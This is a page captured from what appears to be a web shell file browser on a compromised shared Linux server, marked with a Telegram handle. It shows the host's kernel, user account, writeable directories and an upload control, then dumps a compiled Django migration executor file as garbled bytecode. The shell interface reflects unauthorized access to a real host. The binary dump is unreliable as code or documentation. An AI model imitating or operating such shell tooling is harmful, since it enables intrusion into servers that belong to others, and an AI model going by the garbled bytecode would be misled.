https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/db/migrations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/db/migrations/__pycache__/executor.cpython-310.pyc
o

3�a�E�@s^ddlmZddlmZmZddlmZddlm	Z	ddl
mZddlm
Z
Gdd	�d	�Zd
S)�)�apps)�
migrations�router�)�InvalidMigrationPlan)�MigrationLoader)�MigrationRecorder)�ProjectStatec@steZdZdZddd�Zddd�Zddd	�Zdd
d�Zdd
�Zdd�Z	ddd�Z
dd�Zddd�Zdd�Z
dd�ZdS)�MigrationExecutorzu
    End-to-end migration execution - load migrations and run them up or down
    to a specified set of targets.
    NcCs(||_t|j�|_t|j�|_||_dS�N)�
connectionr�loaderr�recorder�progress_callback)�selfrr�r�?/usr/lib/python3/dist-packages/django/db/migrations/executor.py�__init__s
zMigrationExecutor.__init__Fc	sPg}|ri}nt|jj�}|D]���ddurH|jj��D])}|d�dkrF|jj�|�D]}||vrE|�|jjj|df�|�|�q.qq�|vr�t	�fdd�|jjj
�jD��}|D]!}|jj�|�D]}||vr|�|jjj|df�|�|�qhq_q|jj���D]}||vr�|�|jjj|df�|jjj|||<q�q|S)z\
        Given a set of targets, return a list of (Migration instance, backwards?).
        rNrTc3s$�|]
}|d�dkr|VqdS)rNr)�.0�n��targetrr�	<genexpr>/s���z3MigrationExecutor.migration_plan.<locals>.<genexpr>F)
�dictr
�applied_migrations�graph�
root_nodes�backwards_plan�append�nodes�pop�sorted�node_map�children�
forwards_plan)	r�targets�clean_start�plan�applied�root�	migration�next_in_app�noderrr�migration_plansB
���
�����z MigrationExecutor.migration_plancsjtt�jj�d�}|r3�j�jj��dd�}�fdd��jjD�}|D]\}}||vr2|j|dd�q#|S)z�
        Create a project state including all the applications without
        migrations and applied migrations if with_applied_migrations=True.
        )�	real_appsT�r&c�(h|]}|�jjjvr�jjj|�qSr�r
rr�r�key�rrr�	<setcomp>I�
�z:MigrationExecutor._create_project_state.<locals>.<setcomp>F��preserve)	r	�listr
�unmigrated_appsr-r�
leaf_nodesr�mutate_state)r�with_applied_migrations�state�	full_planrr*�_rr4r�_create_project_state@s
��z'MigrationExecutor._create_project_statec	Cs�|j��|dur|�|�}|j|jj��dd�}tdd�|D��}tdd�|D��}|s8|dur7|jdd�}n(||krAtd|��|rX|durM|jdd�}|j	|||||d	�}n|j
|||d
�}|��|S)z�
        Migrate the database up to the given targets.

        Django first needs to create all project states before a migration is
        (un)applied and in a second step run all the database operations.
        NTr/css�|]\}}|VqdSrr�r�mig�	backwardsrrrrbs�z,MigrationExecutor.migrate.<locals>.<genexpr>css�|]\}}|VqdSrrrBrrrrc��)r=z�Migration plans with both forwards and backwards migrations are not supported. Please split your migration process into separate plans of only forwards OR backwards migrations.��fake�fake_initial�rG)r�
ensure_schemar-r
rr;�allrAr�_migrate_all_forwards�_migrate_all_backwards�check_replacements)	rr%r'r>rGrHr?�all_forwards�
all_backwardsrrr�migrateRs,
	
��zMigrationExecutor.migratec	Cs~dd�|D�}|D]3\}}|s|S||vr<d|jvr.|jr#|�d�|j|jr.|�d�|j||||d�}|�|�q	|S)z�
        Take a list of 2-tuples of the form (migration instance, False) and
        apply them in the order they occur in the full_plan.
        cS�h|]}|d�qS�rr�r�mrrrr5��z:MigrationExecutor._migrate_all_forwards.<locals>.<setcomp>r�render_start�render_successrF)�__dict__rr�apply_migration�remove)	rr>r'r?rGrH�migrations_to_runr*r@rrrrLs �



�z'MigrationExecutor._migrate_all_forwardscsJdd�|D�}i}���}�fdd��jjD�}�jr ��d�|D]0\}}	|s*n)||vrGd|jvr6|j|||<|j|dd�}|�|�q"||vrR|j|dd�q"�jr[��d	�|D]\}}	�j||||d
�|�|�q]|dd}
||
}t	|�D]#\}\}}	||
kr�||d
�D]\}}	||vr�|j|dd�q�|Sq|S)a�
        Take a list of 2-tuples of the form (migration instance, True) and
        unapply them in reverse order they occur in the full_plan.

        Since unapplying a migration requires the project state prior to that
        migration, Django will compute the migration states before each of them
        in a first run over the plan and then unapply them in a second run over
        the plan.
        cSrRrSrrTrrrr5�rVz;MigrationExecutor._migrate_all_backwards.<locals>.<setcomp>cr0rr1r2r4rrr5�r6rWrTr7FrXrI���rN)
rAr
rrrYrr<r[�unapply_migration�	enumerate)rr'r?rGr\�statesr>rr*r@�last_unapplied_migration�indexrr4rrM�sJ

�

�
��z(MigrationExecutor._migrate_all_backwardscCs�d}|jr|�d||�|sF|r|�||�\}}|rd}|sF|jj|jd��}|�||�}|js7|�|�d}Wd�n1sAwY|sM|�|�|jrW|�d||�|S)zRun a migration forwards.F�apply_startT��atomicN�
apply_success)r�detect_soft_appliedr�
schema_editorre�apply�deferred_sql�record_migration)rr>r*rGrH�migration_recordedr(rhrrrrZ�s*
��
z!MigrationExecutor.apply_migrationcCs>|jr|jD]\}}|j�||�qdS|j�|j|j�dSr)�replacesr�record_applied�	app_label�name)rr*rorprrrrk�s
�z"MigrationExecutor.record_migrationcCs�|jr
|�d||�|s*|jj|jd��}|�||�}Wd�n1s%wY|jr=|jD]\}}|j�||�q0n	|j�|j|j	�|jrP|�d||�|S)zRun a migration backwards.�
unapply_startrdN�unapply_success)
rrrhre�unapplyrmr�record_unappliedrorp)rr>r*rGrhrorprrrr^�s��z#MigrationExecutor.unapply_migrationcsT|j���|jj��D]\}}t�fdd�|jD��}|r'|�vr'|jj|�qdS)a�
        Mark replacement migrations applied if their replaced set all are.

        Do this unconditionally on every migrate, rather than just when
        migrations are applied or unapplied, to correctly handle the case
        when a new squash migration is pushed to a deployment that already had
        all its replaced migrations applied. In this case no new migration will
        be applied, but the applied state of the squashed migration must be
        maintained.
        c3s�|]}|�vVqdSrrrT�r(rrrrEz7MigrationExecutor.check_replacements.<locals>.<genexpr>N)rrr
�replacements�itemsrKrmrn)rr3r*�all_appliedrrurrNs
��z$MigrationExecutor.check_replacementsc	sx�fdd�}�jdurt�fdd��jD��rd|fSn	�jdur%d|fS|dur6�jj�j�jfdd�}n��|�}|j}d}d}�j	j
j}�j	���}	t
�j	j�|	��}
|r_d	d
�|
D�}
Wd�n1siwY�jD]�}t|tj�r�|��j|j�}|jjr�t�|jj�}|�|�r�qq|jj}
|r�|
��}
|
|
vr�d|fSd}qqt|tj��r4|��j|j�}|jjr�t�|jj�}|�|�r�qq|jj}|j�|j�}|jr�|jjjj}|r�|��}||
vr�d|fSd}qq�j	���}	�j	j� |	|�}Wd�n	1�s	wY|D]}|j!}|j}|�r#|��}|��}||k�r,d}n�qd|fSqq|�p9||fS)z�
        Test whether a migration has been implicitly applied - that the
        tables or columns it would create exist. This is intended only for use
        on initial migrations (as it only looks for CreateModel and AddField).
        cs.|jjp|jjptj�jj|j|jjd�S)z�
            No need to detect tables for proxy models, unmanaged models, or
            models that can't be migrated on the current database.
            )�
model_name)	�_meta�proxy�managedr�
allow_migrater�aliasrory)r*�modelr4rr�should_skip_detecting_models
���zJMigrationExecutor.detect_soft_applied.<locals>.should_skip_detecting_modelNc3s�|]
\}}|�jkVqdSr)ro)r�apprp)r*rrr.s�z8MigrationExecutor.detect_soft_applied.<locals>.<genexpr>FT)�at_endcSsh|]}|���qSr)�casefold)rrprrrr5?rVz8MigrationExecutor.detect_soft_applied.<locals>.<setcomp>)"�initial�any�dependenciesr
�
project_staterorpr<rr�features�ignores_table_name_case�cursor�set�
introspection�table_names�
operations�
isinstancer�CreateModel�	get_modelrz�swapped�global_apps�db_tabler��AddFieldry�	get_field�many_to_many�remote_field�through�get_table_description�column)rr�r*r��after_stater�found_create_model_migration�found_add_field_migration�fold_identifier_caser��existing_table_names�	operationrr��table�field�through_db_table�columnsr��field_column�column_namer)r*rrrgs�

�


��


�
��z%MigrationExecutor.detect_soft_appliedr)F)NNFF)FF)�__name__�
__module__�__qualname__�__doc__rr-rArQrLrMrZrkr^rNrgrrrrr

s


*
-
=
r
N)�django.apps.registryrr��	django.dbrr�
exceptionsrr
rrrr>r	r
rrrr�<module>s

https://t.me/RX1948 - 2025